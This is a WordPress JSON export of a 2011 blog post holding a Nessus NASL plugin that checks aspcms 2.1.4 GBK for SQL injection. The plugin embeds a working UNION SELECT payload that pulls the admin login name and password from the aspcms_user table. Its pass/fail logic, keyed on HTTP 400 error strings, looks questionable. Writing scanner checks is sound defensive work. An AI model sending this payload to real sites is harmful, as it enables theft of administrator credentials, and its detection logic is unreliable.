{"id":416,"date":"2011-08-26T13:06:21","date_gmt":"2011-08-26T13:06:21","guid":{"rendered":""},"modified":"2011-11-21T19:42:39","modified_gmt":"2011-11-21T11:42:39","slug":"416","status":"publish","type":"post","link":"http:\/\/zerobox.org\/notes\/416.html","title":{"rendered":"nessus\u6ce8\u5c04\u6a21\u5757"},"content":{"rendered":"

#
\n# NASL, Inc.
\n#<\/p>\n

include(“compat.inc”);
\nif(description)
\n{
\nscript_id(90029);
\nscript_version(“$Revision: 1.0 $”);
\nname[“english”] = “check aspcms2.1.4GBK SQL Injection security hole”;
\nscript_name(english:name[“english”]);<\/p>\n

desc[“english”] = “check aspcms2.1.4GBK SQL Injection security hole”;
\nscript_description(english:desc[“english”]);<\/p>\n

script_summary(english:”john”);<\/p>\n

script_category(ACT_GATHER_INFO);<\/p>\n

script_copyright(english:”This script is Copyright (C) 2011 by john”);
\nfamily[“english”] = “goingdown john”;
\nscript_family(english:family[“english”]);
\nscript_dependencie(“find_service1.nasl”,”http_version.nasl”);
\nscript_require_ports(“Services\/www”, 80);
\nexit(0);
\n}
\ninclude(“global_settings.inc”);
\ninclude(“misc_func.inc”);
\ninclude(“http.inc”);
\nstr1=”\/admin\/_content\/_About\/AspCms_AboutEdit.asp?id=19 and 1=2 union select 1,2,3,4,5,loginname,7,8,9,password,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from aspcms_user where userid=1″;
\nr1=http_send_recv3(method: “GET”, item:str1, port: 80);
\ndisplay(r1);
\ndisplay(r1[2]);
\nif( r1 == NULL )
\n{
\nreturn(0);
\n}
\nif(“HTTP\/1.1 400 Bad Request”>!<string(r1))
\n{
\nreturn(0);
\n}
\nif(“HTTP Error 400. The request is badly formed.”>!<string(r1[2]))
\n{
\nreturn(0);
\n}
\nelse
\n{
\nsecurity_hole(port);
\n}<\/p>\n

 <\/p>\n","protected":false},"excerpt":{"rendered":"

# # NASL, Inc. # include(“compat.i …<\/p>\n

\u7ee7\u7eed\u9605\u8bfb »<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[52,53],"class_list":["post-416","post","type-post","status-publish","format-standard","hentry","tag-nessus","tag-53"],"views":1191,"_links":{"self":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts\/416","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/comments?post=416"}],"version-history":[{"count":0,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts\/416\/revisions"}],"wp:attachment":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/media?parent=416"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/categories?post=416"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/tags?post=416"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}